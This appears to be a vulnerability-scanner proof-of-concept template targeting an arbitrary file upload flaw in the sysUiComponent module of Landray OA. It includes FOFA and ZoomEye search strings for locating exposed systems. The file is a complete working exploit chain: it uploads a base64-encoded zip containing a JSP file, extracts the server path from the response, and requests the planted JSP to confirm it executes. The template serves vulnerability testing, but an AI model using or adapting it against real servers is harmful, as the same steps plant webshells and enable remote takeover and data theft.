id: landray-oa-sysuicomponent-fileupload

info:
  name: 蓝凌 OA 子部件文件上传
  author: Pking
  severity: critical
  verified: true
  description: |-
    介绍:该系统 sysUiComponent 文件存在任意文件上传漏洞，通过此漏洞攻击者可上传webshell木马，远程控制服务器，威胁企业数据安全。
    fofa: app="Landray-OA系统"
    zoomeye: app:"蓝凌数字OA"
  reference:
    - https://mp.weixin.qq.com/s/xhwmFuItG8ZoiuGrwR5bnw
  tags: landray,fileupload
  created: 2023/11/16

set:
  baseurl: request.url
  randstr: randomLowercase(12)
  rboundary: randomInt(800000000, 1000000000)
  cookie: randomLowercase(48)
  payload: base64Decode("UEsDBBQAAAAIAEVrcFcd+E8oKAAAACYAAAAIAAAAdGVzdC5qc3CzUVXILy3RKyjKzCvJydNQ8iotLkl0TCwOCE4zNDIyNlLStFZQtQMAUEsDBBQAAAAIAGlrcFdRNnIYHAAAABoAAAANAAAAY29tcG9uZW50LmluactMsTUyMLQ0Mrbg5cpLzE21Tc5ITc7WK6koAQBQSwECHwAUAAAACABFa3BXHfhPKCgAAAAmAAAACAAkAAAAAAAAACAAAAAAAAAAdGVzdC5qc3AKACAAAAAAAAEAGAB3R8xoTRjaAXdHzGhNGNoBRiZA9UIY2gFQSwECHwAUAAAACABpa3BXUTZyGBwAAAAaAAAADQAkAAAAAAAAACAAAABOAAAAY29tcG9uZW50LmluaQoAIAAAAAAAAQAYACmZwpFNGNoBKZnCkU0Y2gF5vhgvSxjaAVBLBQYAAAAAAgACALkAAACVAAAAAAA=")
rules:
  r0:
    request:
      method: GET
      path: /sys/ui/sys_ui_component/sysUiComponent.do?method=upload
    expression: response.status == 200 && response.body.bcontains(b"请上传正确的部件包文件") && response.body.bcontains(b"附件上传中") && response.body.bcontains(b"请上传正确的部件包文件")
  r1:
    request:
      method: POST
      path: /sys/ui/sys_ui_component/sysUiComponent.do?method=getThemeInfo
      headers:
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
      body: "\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"file\"; filename=\"{{randstr}}.zip\"\r\n\
        Content-Type: application/x-zip-compressed\r\n\
        \r\n\
        {{payload}}\r\n\
        ------WebKitFormBoundary{{rboundary}}--\r\n
        "
    expression: response.status == 200 && response.body.bcontains(b"directoryPath") && response.body.bcontains(b"status")
    output:
      search: '"\"directoryPath\":\"(?P<pathName>.+?)\",".bsubmatch(response.body)'
      pathName: search["pathName"]
  r2:
    request:
      method: GET
      path: /resource/ui-component/{{pathName}}/test.jsp
    expression: response.status == 200 && response.body.bcontains(b"JustaAasPSf12232")
expression: r0() && r1() && r2()